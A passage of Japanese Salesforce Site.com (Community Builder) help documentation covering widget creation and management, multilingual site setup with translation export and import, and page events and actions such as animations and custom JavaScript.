• CSS を使用してウィジェットにスタイルを設定する場合、サイトのグローバルスタイルシートである Site ス
タイルシートに CSS を追加します。このスタイルシートは自動的にすべてのページで参照されるため、各
ウィジェットがページに正しく表示されていることを確認できます。

ウィジェットの作成
ウィジェットでは、既存の Site.com ページ要素、カスタムコード、CSS を組み合わせて、再利用可能なカス
タムページ要素を作成できます。
ページへのウィジェットの追加
ウィジェットの編集と削除

関連トピック:

ウィジェットの作成
ページテンプレートまたはウィジェットのカスタムプロパティの概要
サイトブランドの概要

6159

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



ウィジェットの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ウィジェットでは、既存の Site.com ページ要素、カスタムコード、CSS を組み合
わせて、再利用可能なカスタムページ要素を作成できます。
ウィジェットを作成すると、[概要] タブの [ウィジェット] ビューに追加されま
す。このビューでは、サイトのすべてのウィジェットにアクセスして管理でき
ます。ウィジェットは、[ページ要素] タブの [ウィジェット] セクションにも表示
されます (使用できるようにした場合)。ここでは、自分とそのチームが簡単に
ウィジェットをページにドラッグできます。また、サイトページへのウィジェッ
トの追加を寄稿者に許可してもかまいません。
1. [概要] タブの[ウィジェット]にマウスを置いて[新規]をクリックするか、[ウィ

ジェット] ビューが開いているときに[新規ウィジェット]をクリックします。
2. ウィジェット名を入力します。これは、[ページ要素] ペインに表示される名

前です。
3. 必要に応じて、説明を追加します。

説明は、[ページ要素] ペインのツールチップとして表示されます。
4. 表示アイコンをウィジェットに追加するには、インポートしたアセットから

画像を選択します。サイズが 16x16 ピクセルのアイコンを使用します。
5. 必要に応じて、[ページ要素] ペインにウィジェットを表示しない場合は、

[[ページ要素] ペインで利用可] を選択解除します。
たとえば、ウィジェットの作成が完了するまでウィジェットが表示されない
ようにできます。

6. [適用] をクリックします。これでページ要素をウィジェットに追加できるよ
うになりました。

7. ウィジェットの名前をクリックして、新しいタブで開きます。
8. 必要なページ要素および CSS スタイルを追加します。
9. 必要に応じて、カスタムプロパティまたはブランドプロパティをウィジェットに追加します。
ウィジェットの作成が完了したら、[プロパティ] ペインで [[ページ要素] ペインで使用可能] をオンにして、
[ページ要素] タブでウィジェットを使用できることを確認します。
寄稿者がサイトページにウィジェットを追加するには、[プロパティ] ペインで [寄稿者が利用可] を選択しま
す。この設定によって、ウィジェットが寄稿者の [ページ要素] ペインに表示されるかどうかが制御されます。
また、少なくとも 1 つの編集可能なパネルを持つ、テンプレートに基づいたページがサイトに含まれることも
確認する必要があります。

関連トピック:

ウィジェットの概要
ページテンプレートまたはウィジェットのカスタムプロパティの概要
サイトブランドの概要
ページへのウィジェットの追加
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ページへのウィジェットの追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ページにウィジェットを追加するには、ウィジェットが使用できることを確認
する必要があります。次のいずれかの操作を実行します。
• ウィジェットを開いた状態で、[プロパティ] ペインの [[ページ要素] ペイン

で利用可] を選択する。
• [概要] タブの [ウィジェット] ビューでウィジェットにマウスを置いて [ ] >

[プロパティを編集]を選択し、[[ページ要素] ペインで利用可]を選択する。
ページを開いた状態で、次の手順を実行します。
1. [ページ要素] ペインの [ウィジェット] セクションからウィジェットをページ

にドラッグします。
ウィジェットをページに追加すると、ウィジェットのコピーまたはインスタ
ンスが作成されます。このウィジェットインスタンスは編集できません。

2. 可能な場合は、ウィジェットインスタンスの [プロパティ] ペインでプロパ
ティを更新します。

関連トピック:

ウィジェットの概要
ページテンプレートまたはウィジェットのカスタムプロパティの概要
ウィジェットの編集と削除
ウィジェットの作成
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ウィジェットの編集と削除

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

([概要] タブの) [すべてのサイトコンテンツ] の [ウィジェット] で、サイトのウィ
ジェットにアクセスします。
ウィジェットを更新するには、マウスポインタを置いて をクリックします。

メニューから、次の操作を実行できます。
• ウィジェットを編集する。ウィジェットを編集する場合、新しいタブで開か

れます。行った更新は、そのウィジェットを参照するサイトページまたは
ページテンプレートにすぐに反映されます。

• ウィジェットのプロパティ (名前、説明、表示アイコン、可用性など) を更新
する。[ウィジェット] ビューで、項目をダブルクリックして名前、説明、可
用性をインライン編集することもできます。

• ウィジェットを複製、プレビュー、削除する。サイトページ、ページテンプ
レート、別のウィジェットで使用されているウィジェットは削除できませ
ん。

関連トピック:

ウィジェットの概要
ウィジェットの作成
ページへのウィジェットの追加

マルチ言語サイトの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

Site.com Studio では、異なる言語バージョンのサイトを作成できます。また、す
べての言語がサイト内に保持されるため、言語ごとに個別のサイトを作成して
維持する必要はありません。
サイト管理者またはデザイナは、サイトでサポートする言語を追加および管理
できます。言語をサイトに追加すると、ページのコンテンツを編集するときに
自分とそのチームが言語を切り替えることができる Site.com Studio 言語セレクタ
がツールバーに表示されます。これにより、別の言語に変更するためにページ
を移動する必要がなくなり、コンテンツの編集をすばやく簡単に行うことがで
きます。
寄稿者、デザイナ、サイト管理者はそれぞれ言語セレクタを使用して言語固有
のコンテンツをページに追加できます。
サイト管理者またはデザイナは、サイトコンテンツを .xml ファイルとしてエク
スポートして、翻訳サービスに送信することもできます。編集済みファイルを
取得したら、サイトにインポートし直すだけで、各ページに翻訳済みコンテンツが入力されます。
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その後、サイト訪問者がサイトを表示するときに使用可能な言語から希望する言語を選択できるように、言語
セレクタのページ要素をページに追加できます。また、サイトコンテンツの一部が選択した言語で使用できな
い場合、代わりに表示する代替言語を指定できます。

例: たとえば、サイト訪問者が言語セレクタでフランス語 (カナダ) を選択したが、そのページではフラン
ス語 (カナダ) のコンテンツが使用できない場合、代わりに代替言語 (フランス語 (フランス) など) のコンテ
ンツが表示されます。

マルチ言語サイトの作成
マルチ言語サイトの作成は、マルチステッププロセスです。このプロセスには、サイトでサポートされる
言語の定義、各言語の翻訳済みコンテンツの追加、およびサイト訪問者の希望する言語の選択が含まれま
す。
デフォルト言語の設定
デフォルト言語は、サイトで最初に表示される言語です。デフォルトでは、英語 (米国) に設定されており、
新しい言語を追加する場合の開始点として機能します。
言語の追加
サイトでサポートする言語を追加します。
言語オプションの設定
[言語] ビューでサイト言語を追加したら、言語ごとに個別の設定を定義できます。
言語コンテンツの編集について
デフォルト言語は、サイトで最初に表示される言語です。デフォルトでは、英語 (米国) に設定されており、
新しい言語を追加する場合の開始点として機能します。そのため、たとえば、サイトを構築してからフラ
ンス語をサイト言語として追加しても、フランス語固有のコンテンツに置き換えるまでは、フランス語バー
ジョンに英語 (米国) のコンテンツが含まれます。
ページの言語コンテンツの編集
Site.com Studio 言語セレクタでは、各ページのコンテンツを編集するときに言語を切り替えることができま
す。寄稿者、デザイナ、サイト管理者はそれぞれ言語セレクタを使用して言語固有のコンテンツをページ
に追加できます。
言語対応プロパティ
[プロパティ] ペインのいくつかのプロパティは言語対応であるため、言語ごとに異なる値を保存できます。
言語コンテンツのエクスポート
翻訳サービスに送信できる .xml ファイルとして 1 つ以上のサイト言語をエクスポートします。
翻訳済みコンテンツのインポート
翻訳サービスが翻訳を完了したら、翻訳済み .xml ファイルをサイトにインポートし直すことができます。
言語セレクタのページ要素の追加
言語セレクタを使用すると、サイト訪問者はサイトを表示するときに希望言語を選択できます。
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言語の削除
言語を削除しても、翻訳済みコンテンツが実際に削除されるわけではなく、自分またはそのチームが使用
できなくなるだけです。言語をサイトに追加し直せば、すぐに翻訳済みコンテンツにもう一度アクセスで
きるようになります。

関連トピック:

マルチ言語サイトの作成
言語コンテンツの編集について
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マルチ言語サイトの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

言語オプションを追加お
よび管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

言語コンテンツを編集す
る
• [Site.com

Publisher ユーザ]
または
[Contributor ユー
ザ]項目をユーザ詳細
ページで有効化、およ
びサイトレベルで割り
当てられたロール

マルチ言語サイトの作成は、マルチステッププロセスです。このプロセスには、
サイトでサポートされる言語の定義、各言語の翻訳済みコンテンツの追加、お
よびサイト訪問者の希望する言語の選択が含まれます。
1. デフォルトのサイト言語を設定します。翻訳済みコンテンツをサイトに追加

する前にこれを実行することが重要です。
2. サイトに言語を追加します。
3. 各言語のオプションを設定します (表示言語や代替言語など)。
4. 次のいずれかの方法で、各サイト言語のコンテンツを追加します。

• 直接各言語のページコンテンツを編集する。
• コンテンツを翻訳用にエクスポートして、翻訳済みコンテンツをインポー

トする。

5. 認証サイトユーザが希望する言語を選択できるように、サイトページに言語
セレクタのページ要素を追加します。

6. カスタマーサービス (Napili)テンプレートで作成されたセルフサービスコミュ
ニティがある場合、言語ピッカーコンポーネントをコミュニティページに追
加します。これにより、ゲストユーザ (ログインしていないユーザ) は希望す
る言語を選択できます。詳細は、「テンプレートを使用したコミュニティの
作成」を参照してください。

ヒント: 言語固有のコンテンツをサイトに追加したら、各言語の個別のプ
レビュー URL を共有できます。Site.com Studio 言語セレクタで所定の言語に
切り替えて、[匿名プレビューを表示] をクリックします。次に、リンクを
コピーして校閲者に送信します。

関連トピック:

マルチ言語サイトの概要
言語コンテンツの編集について
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デフォルト言語の設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

言語オプションを追加お
よび管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

デフォルト言語は、サイトで最初に表示される言語です。デフォルトでは、英
語 (米国) に設定されており、新しい言語を追加する場合の開始点として機能し
ます。
言語コンテンツをサイトに追加する前にデフォルト言語を設定することが重要
です。この設定は、Salesforce 組織のデフォルト言語設定には関連付けられてい
ません。
1. [概要] タブの [サイトの設定] > [言語] をクリックします。
2. [デフォルトのサイト言語] ドロップダウンリストで言語を選択します。

メモ: 翻訳済みコンテンツを追加した後でデフォルト言語を変更する場合、
まず翻訳済みコンテンツをエクスポートしてから、デフォルト言語を変更
し、最後にコンテンツをサイトにインポートし直す必要があります。この
ようにしないと、新しく選択したデフォルト言語で翻訳済みコンテンツが
表示されません。
たとえば、英語をデフォルトのサイト言語にして、フランス語をサイト言
語として追加する場合を考えます。英語とフランス語の両方のコンテンツ
を追加した後で、デフォルトのサイト言語をフランス語に変更するとしま
す。フランス語のコンテンツを維持するには、まず、そのフランス語のコ
ンテンツをエクスポートする必要があります。次に、フランス語をデフォ
ルトのサイト言語として選択してから、フランス語のコンテンツをサイト
にインポートし直します。

関連トピック:

言語の追加
言語オプションの設定
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言語の追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

言語オプションを追加お
よび管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

サイトでサポートする言語を追加します。
1. [概要] タブの [サイトの設定] > [言語] をクリックします。
2. [言語を追加] をクリックします。
3. サイトに追加する言語を選択します。
4. 必要に応じて、言語セレクタに表示される順序にリストを並び替えます。
5. 変更内容を保存します。

関連トピック:

デフォルト言語の設定
言語オプションの設定
言語の削除
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言語オプションの設定

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

言語オプションを追加お
よび管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

[言語] ビューでサイト言語を追加したら、言語ごとに個別の設定を定義できま
す。
1. [概要] タブの [サイトの設定] > [言語] をクリックします。
2. [サイト言語] で言語を選択します。
3. [言語設定] でオプションを更新します。

説明オプション

有効なサイトに言語セレクタの要素
を追加した場合、このチェックボッ
クスでドロップダウンリストに言語
が表示されるかどうかを制御します。
このプロパティを使用して、関連コ
ンテンツをサイト訪問者にリリース
する準備が整うまで言語を非表示に
します。

ライブサイトで有効

現在選択されている言語で使用でき
るコンテンツがない場合、代替言語
が表示されます。たとえば、サイト
訪問者が言語セレクタで日本語を選
択したが、そのページでは日本語の
コンテンツが使用できない場合、代
わりに代替言語のコンテンツが表示
されます。

代替言語

表示ラベルは言語ごとに定義できま
す。これは、サイトに追加する言語

表示ラベル

セレクタおよび Site.com Studio 言語セ
レクタに表示されます。

関連トピック:

言語の追加
デフォルト言語の設定
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言語コンテンツの編集について

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

デフォルト言語は、サイトで最初に表示される言語です。デフォルトでは、英
語 (米国) に設定されており、新しい言語を追加する場合の開始点として機能し
ます。そのため、たとえば、サイトを構築してからフランス語をサイト言語と
して追加しても、フランス語固有のコンテンツに置き換えるまでは、フランス
語バージョンに英語 (米国) のコンテンツが含まれます。
言語をサイトに追加すると、Site.com Studio 言語セレクタがツールバーに表示さ
れます。言語セレクタでは、各ページのコンテンツを編集するときに言語を切
り替えることができます。たとえば、フランス語とスペイン語をサイトに追加
した場合、言語セレクタには、フランス語、スペイン語、および英語 (米国) が
表示されます。
コンテンツブロックには、選択した言語のコンテンツが置き換えられたかどう
かを示すアイコンが表示されます。
• 警告アイコン ( ) は、テキストがまだ置き換えられていないことを示しま

す。
• 地球アイコン ( ) は、コンテンツが置き換えられたことを示します。
また、いくつかのページ要素には言語対応プロパティがあります。これは、言語ごとに異なる値を保存できる
ことを意味します。これらのプロパティは、[プロパティ] ペインの地球アイコン ( ) によって示されます。
次のいずれかの方法で、各サイト言語のコンテンツを追加できます。
• Site.com Studio 言語セレクタを使用して、直接各言語のページコンテンツを編集する。
• コンテンツを翻訳用にエクスポートして、サイトに翻訳済みコンテンツをインポートし直す。

言語の表示順序
言語固有のコンテンツをサイトに追加したら、使用可能な言語コンテンツに応じて、ページのコンテンツが次
の順序で表示されます。
1. 選択した言語
2. 代替言語
3. デフォルト言語
たとえば、スペイン語が代替言語である場合に、コンテンツブロックのフランス語のコンテンツを削除する
と、デフォルト言語のコンテンツではなく、スペイン語のコンテンツが表示されます。その後、スペイン語の
コンテンツを削除すると、デフォルト言語のコンテンツが表示されます。

言語対応ページ要素
次のページ要素は、翻訳済みコンテンツをサポートします。
• コンテンツブロック
• カスタムコード
• データ要素
• フォーム
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• 入力項目
• 画像
• 言語セレクタ

関連トピック:

言語対応プロパティ

ページの言語コンテンツの編集

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

言語オプションを追加お
よび管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

言語コンテンツを編集す
る
• [Site.com

Publisher ユーザ]
または
[Contributor ユー
ザ]項目をユーザ詳細
ページで有効化、およ
びサイトレベルで割り
当てられたロール

Site.com Studio 言語セレクタでは、各ページのコンテンツを編集するときに言語
を切り替えることができます。寄稿者、デザイナ、サイト管理者はそれぞれ言
語セレクタを使用して言語固有のコンテンツをページに追加できます。
ページを開いた状態で、次の手順を実行します。
1. Site.com Studio言語セレクタ (ツールバーの [サイト言語を変更] ドロップダウン

リスト) で言語を選択します。
2. ページコンテンツを編集します。

特定の言語でコンテンツブロックを表示している場合、次のアイコンが表示
されます。
• 警告アイコン ( ) は、テキストがまだ置き換えられていないことを示し

ます。
• 地球アイコン ( ) は、コンテンツが置き換えられたことを示します。

3. 必要に応じて、言語対応プロパティを更新します。

メモ: コンテンツの入力時に Site.com Studio によって言語が検証されること
はありません。選択した言語に合った正しいコンテンツを追加するように
注意してください。

翻訳済みコンテンツを元に戻すには、コンテンツブロックを右クリックして、
[翻訳を戻す]を選択します。テキストは、代替言語 (指定した場合) またはデフォ
ルトのサイト言語に戻ります。

関連トピック:

言語コンテンツの編集について
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言語対応プロパティ

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

[プロパティ] ペインのいくつかのプロパティは言語対応であるため、言語ごとに
異なる値を保存できます。
ページまたはページ要素で言語固有のプロパティを指定しない場合、代わりに
デフォルト言語のプロパティ値が使用されます。

説明適用先プロパ
ティ

スクリーンリーダーユーザまたはブラウザで画像
を表示できない場合の代替テキストとして使用さ
れます。また、検索エンジン最適化 (SEO) に役立て
ることができます。

画像代替テキ
スト

項目のコンテンツが翻訳されないようにします。
選択すると、地球アイコン ( ) が言語対応プロパ

翻訳不可 • コンテンツ
ブロック

ティから削除されます。これは、言語固有のコン
テンツがサポートされなくなったことを示します。
言語固有のコンテンツを追加して、このプロパティ
を有効にすると、言語固有のコンテンツが非表示

• カスタム
コード

• データ要素
• フォーム になります。このプロパティを再度無効にすると、

コンテンツが再表示されます。• 入力項目
• 画像
• 言語セレク

タ
• ページ

サイト訪問者が言語を選択したときに別のページ
にリダイレクトします。URL は、すべての言語で
同じです。

言語セレクタホーム
ページの
URL

選択した言語で表示される画像を指定できます。
たとえば、Site.com Studio言語セレクタで英語 (米国)

を選択した場合、インポートされた画像の英語バー

画像画像ア
セット

ジョンを選択します。次に、同じ画像のフランス
語バージョンを入力するには、言語セレクタでフ
ランス語を選択して、フランス語の画像を選択し
ます。

言語セレクタのページ要素がページに追加された
場合に、その横に表示される表示ラベル。[サイト
言語を変更] がデフォルトテキストです。
テキストは翻訳可能であるため、Site.com Studio 言
語セレクタで言語を選択して各言語のテキストを

言語セレクタ表示ラベ
ル
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説明適用先プロパティ

更新することも、すべてのサイトコンテンツを翻訳用にエクスポート
することもできます。

ナビゲーションメニューに表示されるページ名。ページナビゲーショ
ン名

ブラウザウィンドウのタイトルバーに表示されるタイトル。ページタイトル

メニューをサイトに追加する場合、選択した言語のメニューでページ
が表示されるかどうかを制御します。また、ページはその言語固有の
URL からアクセスできなくなります。
[翻訳不可] も有効になっていると、[ライブサイトに公開] の状況は
すべての言語に適用されます。

ページライブサイト
に公開

関連トピック:

ページの言語コンテンツの編集
言語コンテンツの編集について
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言語コンテンツのエクスポート

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

言語オプションを追加お
よび管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

翻訳サービスに送信できる .xml ファイルとして 1 つ以上のサイト言語をエクス
ポートします。
1. [概要] タブの [言語] ビューで、[ ] > [翻訳用にコンテンツをエクスポート]を

クリックします。
2. 翻訳用にエクスポートする言語コンテンツを選択します。複数の項目を選択

するには、Ctrl キーを押しながらクリックします。
3. 必要に応じて、別のファイル名を入力します。デフォルトの名前は

languages.xml です。
4. [OK] をクリックします。
5. ブラウザで求められた場合は、ファイルを保存する場所を選択します。
.xml ファイルをエクスポートしたら、翻訳用に送信できます。

例:  .xml ファイルには、エクスポートの時刻が記録されたタイムスタンプ属
性が含まれており、次の例のように翻訳可能なコンテンツはすべて CDATA

セクションで囲まれています。

翻訳済み .xml ファイルを取得したら、サイトにインポートし直します。

関連トピック:

翻訳済みコンテンツのインポート
言語コンテンツの編集について
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翻訳済みコンテンツのインポート

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

言語オプションを追加お
よび管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

翻訳サービスが翻訳を完了したら、翻訳済み .xml ファイルをサイトにインポー
トし直すことができます。
1. [概要] タブの [言語] ビューで、[ ] > [翻訳済みコンテンツのインポート]をク

リックします。
2. 翻訳済み .xml ファイルの場所に移動します。
3. ファイルを選択し、[開く] をクリックします。
4. 現在のサイトコンテンツを上書きするかどうかを決定します。
5. [インポート] をクリックします。

ファイルが 1 MB を超えていなければ、コンテンツが正常にインポートされた
かどうかを示すメッセージが表示されます。1 MB を超える場合、インポート
プロセスが完了すると、メールで通知されます。

翻訳済みコンテンツをインポートしたら、ページをテストしてコンテンツが正
常に表示されるかどうかを確認します。ページごとに Site.com Studio 言語セレク
タを使用して、サポートされる各言語でページを表示します。

関連トピック:

言語コンテンツのエクスポート
言語コンテンツの編集について

6174

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



言語セレクタのページ要素の追加

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

言語オプションを追加お
よび管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

言語セレクタを使用すると、サイト訪問者はサイトを表示するときに希望言語
を選択できます。
言語をサイトに追加したら、サイト訪問者に [言語] ビューで定義した言語のリ
ストから希望言語を選択してもらう必要があります。

ヒント: 時間を節約するために、言語セレクタをサイトのページテンプレー
トに追加します。

ページを開いた状態で、次の手順を実行します。
1. [ページ要素] ペインからページに [言語セレクタ] をドラッグします。

サイト訪問者がページにアクセスすると、[サイト言語を変更] ドロップダウ
ンリストが表示されます。

2. 言語セレクタのプロパティを設定します。

説明プロパティ

すべての言語で [表示ラベル] 項目の
テキストを同じにする場合、この
チェックボックスをオンにします。

翻訳不可

言語セレクタのページ要素がページ
に追加された場合に、その横に表示
される表示ラベル。[サイト言語を変
更] がデフォルトテキストです。
テキストは翻訳可能であるため、
Site.com Studio 言語セレクタで言語を
選択して各言語のテキストを更新す

表示ラベル

ることも、すべてのサイトコンテン
ツを翻訳用にエクスポートすること
もできます。

サイト訪問者が言語を選択したとき
に別のページにリダイレクトします。
URL は、すべての言語で同じです。

ホームページの URL

関連トピック:

言語対応プロパティ
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言語の削除

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

言語オプションを追加お
よび管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

言語を削除しても、翻訳済みコンテンツが実際に削除されるわけではなく、自
分またはそのチームが使用できなくなるだけです。言語をサイトに追加し直せ
ば、すぐに翻訳済みコンテンツにもう一度アクセスできるようになります。
1. [概要] タブの [サイトの設定] > [言語] をクリックします。
2. 削除する言語の横にある [ ] をクリックします。

関連トピック:

言語の追加

イベントの概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

イベントを使用して、Web サイトのページおよびページ要素に対話形式の効果
およびアニメーション効果を追加できます。
ページ上の要素がクリックされたときやページの読み込み時など、イベントが
発生しときにトリガする必要のあるアクション (または一連のアクション) を指
定できます。たとえば、ホームページを読み込み時に、お知らせのポップアッ
プを表示して、数秒後にフェードアウトさせることができます。または、ユー
ザがパネルをクリックしたら、パネルを拡大して、詳細情報を非表示にしたり、
情報のスタイルを変更したりできます。
[イベント] ペインでは、イベントの発生時にトリガできる多くの一般的なアク
ションがリストされます。次のオプションを使用すると、次を指定できます。
このイベントの発生時には、このアクションをトリガする

イベントの作成
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選択可能なイベントとアクション

関連トピック:

イベントの作成
選択可能なイベントとアクション
サイト管理者またはデザイナとしての Site.com Studio の使用

イベントの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

イベントを使用すると、Web サイトのページおよびページ要素に対話形式の効
果およびアニメーション効果を追加できます。
1. 関連するページまたはページ要素を選択します。
2.

[イベント] ペイン ( ) でイベントを選択します。「選択可能なイベントと
アクション」 (ページ 6178)を参照してください。

3. をクリックして、表示される [アクションを選択] リストのアクションを
選択します。

4. 次のような、アクションで選択可能なその他のプロパティを設定します。
• 対象要素 — アクションが影響を及ぼすページ要素を指定します。
• 効果 — フェードイン、フェードアウト、スライドなどアクションのアニ

メーション方法を指定します。
• 速度 — アニメーションの速度を高速、通常、低速、または非常に低速に

設定します。
• チェーン — アクションが連続して発生するようアクションを連鎖させる

ことができます。たとえば、次のアクションを遅延させる遅延アクショ
ンを作成するには、遅延アクションの [チェーン] チェックボックスを選
択します。これは、遅延アクションの下にある後続のアクションがイン
デント表示され、遅延アクションに関連付けられていることを示します。
アニメーション、遅延、要素を非表示、繰り返し、要素を表示、および
要素の切り替えの各アクションに適用されます。

5. [保存] をクリックします。
6. 必要に応じて、アクションを追加します。

ヒント:

• イベントをページまたはページの要素に追加すると、[イベント] パネルのイベントの横にアスタリス
ク (*) が表示されます。

• 選択したページ要素の の上にマウスポインタを置くと、要素に関連付けられているイベントを示
すツールチップが表示されます。また、アイコンをクリックすると、[イベント] タブをすばやく開く
ことができます。

アクションを削除するには、選択して、 をクリックします。
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アクションの発生順序を変更するには、アクションを選択して、 または をクリックします。

関連トピック:

データの繰り返しとデータテーブルへのページネーションの追加
イベントの概要

選択可能なイベントとアクション

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

イベントを作成する場合は複数のイベントのトリガおよびアクションから選択
します。

このイベントが発生するタイミング

次の場合に発生イベント

ユーザがページ要素をダブルクリックする。ダブルクリック

ユーザがページ要素をクリックする。クリック

焦点がページ要素に移動する。焦点

ブラウザウィンドウにページまたはページ要素が読み込まれ
る。

読み込み

焦点がページ要素から移動する。ぼかし

ユーザがマウスポインタをページ要素に重ねる。マウスイン

ユーザがマウスポインタをページ要素から移動する。マウスアウト

トリガするアクション...

説明アクション

ターゲット項目のスタイルを設定するために CSS クラスを動的に追加する。たとえ
ば、ページ要素の外観を変更するために、新規 CSS クラスをページ要素に追加しま
す。

CSS クラスを追加

ポップアップブラウザのアラートメッセージを表示する。アラート

[上]、[左]、[幅] および [高さ] などの CSS プロパティをアニメーションする。[CSS] 項
目に適切な値を入力して指定します。
たとえば、画像を対象としている場合は、opacity: "0.4", width: "70%" など
の値を入力します。この値では、設定した速度および効果に従って画像の外観を変更
します。

アニメーション
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説明アクション

後続のアクションの前に遅延 (ミリ秒単位で測定) を追加する ([チェーン]チェックボッ
クスを選択して、後続のアクションに関連付けます)。

遅延

カスタム JavaScript コードを実行する。このコードは、[スクリプトを編集]をクリック
してカスタムコードエディタを開いて入力します。

JavaScript を実行

データの繰り返しおよびデータテーブルの指定されたページに移動する。「データの
繰り返しとデータテーブルへのページネーションの追加」 (ページ6129)を参照してく
ださい。

ページに移動

設定した速度および効果に従って、ターゲットの項目を非表示にする。要素を非表示

データの繰り返しおよびデータテーブルの次のページに移動する。「データの繰り返
しとデータテーブルへのページネーションの追加」 (ページ6129)を参照してください。

次のページ

データの繰り返しおよびデータテーブルの前のページに移動する。「データの繰り返
しとデータテーブルへのページネーションの追加」 (ページ6129)を参照してください。

前のページ

ターゲットの項目から CSS クラスを削除し、スタイルを動的に削除する。たとえば、
ページ要素の外観を変更するには、その要素に関連付けられている CSS クラスを削除
して、別の CSS クラスに置き換えます。

CSS クラスを削除

後続のアクションを指定された遅延間隔で指定回数繰り返す ([プロパティ] ペインの
[チェーン] チェックボックスを選択して、次のアクションに関連付けます)。

繰り返し

ターゲット項目の指定の属性値を動的に設定する。たとえば、画像をターゲットとし
ている場合は、[属性の名前] 項目に src と入力して、[属性値] 項目に画像の URL を

要素の属性を設定

入力することにより、画像ソースを変更します。また、高度なコード作成のためにカ
スタム名/値ペアを追加できます。

設定した速度および効果に従って、ターゲットの項目を表示する。要素を表示

選択されたフォームのデータを送信する。送信

設定した速度および効果に従って、ターゲット要素の表示を切り替える。要素を切り替え

関連トピック:

データの繰り返しとデータテーブルへのページネーションの追加
イベントの概要
